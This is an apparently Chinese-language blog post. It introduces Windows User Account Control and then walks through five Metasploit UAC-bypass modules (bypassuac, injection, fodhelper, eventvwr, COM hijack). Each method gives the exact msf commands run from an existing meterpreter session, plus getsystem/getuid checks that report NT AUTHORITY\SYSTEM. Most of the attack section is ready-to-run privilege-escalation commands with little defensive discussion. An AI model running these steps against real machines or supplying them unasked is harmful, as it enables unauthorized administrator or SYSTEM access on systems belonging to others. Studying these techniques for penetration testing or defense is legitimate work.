【无标题】

一、用户帐户控制(UAC)简介

在当今的数字时代,计算机安全至关重要。其中,用户帐户控制(UAC)是 Windows 操作系统中的一项关键安全功能。让我们深入了解一下 UAC 的奥秘,以及它在保护系统免受恶意软件攻击方面的重要作用,同时也探讨忽略 UAC 提示可能给系统带来的潜在风险。

(一)什么是用户帐户控制(UAC)?

MicrosoftWindows VistaWindows Server 2008 操作系统中引入了先进的用户帐户控制架构。其目的在于防止系统范围内的意外更改,这些更改通常是可预见的,并且只需少量操作即可完成。简单来说,UAC 是 Windows 的一道安全防线,它能够有效阻止对操作系统进行未经授权的修改。UAC 确保只有在管理员授权的情况下,某些关键更改才能得以执行。若管理员未允许更改,那么这些更改将不会被实施,Windows 系统也将保持原有的稳定状态。

(二)UAC 如何运行?

UAC 通过严格限制程序的操作来发挥作用。它阻止程序执行任何涉及系统更改或特定任务的操作,除非执行这些操作的进程拥有管理员权限。当以管理员身份运行程序时,该程序将获得更高的权限,因为它被“提升权限”了。而那些不以管理员身份运行的程序,则无法进行某些关键操作。以下是一些没有管理员权限就无法完成的操作:

  1. 注册表修改:如果注册表项在 HKEY_LOCAL_MACHINE 下(因为它会影响多个用户),此时注册表将处于只读状态。
  2. 加载设备驱动程序。
  3. DLL 注入。
  4. 修改系统时间(时钟)。
  5. 修改用户帐户控制设置:虽然可以通过注册表进行启用或禁用该设置,但需要拥有正确的权限才能执行此操作。
  6. 修改受保护的目录,如 Windows 文件夹、Program Files 等。
  7. 计划任务:例如,以管理员权限自动启动。

UAC并不会自动阻止恶意软件。它的目的并非确定程序是否为恶意软件,这一判断仍然取决于用户。如果用户以管理员权限执行程序,系统将提醒用户并需要用户进行确认。

二、绕过 UAC 的方法

在网络安全领域,有时我们可能需要了解如何绕过 UAC。首先,通过利用漏洞获得目标主机的 meterpreter。在获得 meterpreter 会话 1 后,可以输入以下命令来检查是否具有系统权限。

getsystem
getuid

如果没有系统或管理权限,那么就应该考虑绕过目标系统的 UAC 保护。

(一)方法一:Windows 权限升级绕过 UAC 保护

此模块将借助可信任发布者证书,通过进程注入的方式绕过 Windows UAC。它会生成一个关闭 UAC 标志的第二个 shell。

操作步骤如下:

msf > use exploit/windows/local/bypassuac
msf exploit(windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从给定的 meterpreter 中,可以看到 meterpreter 会话 2 已打开。现在输入以下命令以确定是否获得系统权限特权。

getsystem
getuid

很好,此时我们获得了 NT AUTHORITY\SYSTEM 权限。现在如果输入“shell”命令,将获得具有管理员权限的命令提示符。
在这里插入图片描述

(二)方法二:Windows 权限提升绕过 UAC 保护(内存注入)

该模块同样通过进程注入和可信任发布者证书来绕过 Windows UAC。与方法一不同的是,它采用了反射式 DLL 注入技术,并且只除去了 DLL payload 二进制文件,而不是三个单独的二进制文件。不过,需要选择正确的体系架构(对于 SYSWOW64 系统也应使用 x64)。如果指定 exe::custom,应在单独的进程中启动 payload 后调用 ExitProcess()。

操作步骤如下:

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

从给定的 meterpreter 中,可以看到 meterpreter 会话 2 已打开。现在输入以下命令以确定是否获得系统权限特权。

getsystem
getuid

最终将获得 NT AUTHORITY\SYSTEM 权限。此时输入“shell”命令,将获得具有管理员权限的命令提示符。
在这里插入图片描述

(三)方法三:绕过 Windows UAC 保护(通过 FodHelper 注册表项)

此模块通过劫持当前用户配置单元下注册表中的特殊键,并插入在启动 Windows fodhelper.exe 应用程序时调用的自定义命令来绕过 Windows 10 UAC。它将生成一个关闭 UAC 标志的第二个 shell。该模块会修改注册表项,但在调用 payload 后将清除该项。此模块不需要 payload 的体系架构和操作系统匹配。如果指定 exe:custom,则应在单独的进程中启动 payload 后调用 ExitProcess()。

操作步骤如下:

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

从给定的 meterprer 中,可以看到 meterpreter 会话 2 已打开。现在输入以下命令以确定是否获得系统权限特权。

getsystem
getuid

我们将获得 NT AUTHORITY\SYSTEM 权限。现在输入“shell”命令,将获得具有管理员权限的命令提示符。
在这里插入图片描述

(四)方法四:Windows 权限升级绕过 UAC 保护(通过 Eventvwr 注册表项)

此模块通过劫持当前用户配置单元下注册表中的特殊键,并插入在启动 Windows 事件查看器时调用的自定义命令来绕过 Windows UAC。它将生成一个关闭 UAC 标志的第二个 shell。该模块会修改注册表项,但在调用 payload 后将清除该项。此模块不需要 payload 的体系架构和操作系统匹配。如果指定 EXE::Custom,则应在单独的进程中启动 payload 后调用 ExitProcess()。

操作步骤如下:

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

从给定的 meterpreter 中,可以看到 meterpreter 会话 2 已打开。现在输入以下命令以确定是否获得系统权限特权。

getsystem
getuid

您将再次获得 NT AUTHORITY\SYSTEM 权限。
在这里插入图片描述

(五)方法五:Windows 权限升级绕过 UAC 保护(通过 COM 处理程序劫持)

此模块通过在 hkcu 配置单元中创建 COM 处理程序注册表项来绕过 Windows UAC。当某些较高完整性级别进程加载时,会引用这些注册表项,从而导致进程加载用户控制的 DLL。这些 DLL 包含导致会话权限提升的 payload。该模块会修改注册表项,但在调用 payload 后将清除该项。这个模块需要 payload 的体系架构和操作系统匹配,但是当前的低权限 meterpreter 会话体系架构中可能不同。如果指定 exe::custom,则应在单独的进程中启动 payload 后调用 ExitProcess()。此模块通过目标上的 cmd.exe 调用目标二进制文件。因此,如果 cmd.exe 访问受到限制,此模块将无法正常运行。

操作步骤如下:

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

从给定的 meterpreter 中,可以看到 meterpreter 会话 2 已打开。现在输入以下命令以确定是否获得系统权限特权。

getsystem
getuid

最后,您将获得 NT AUTHORITY\SYSTEM 权限。现在如果再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过 Metasploit 利用 exploit 来绕过 UAC 保护。
在这里插入图片描述

  • 17
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值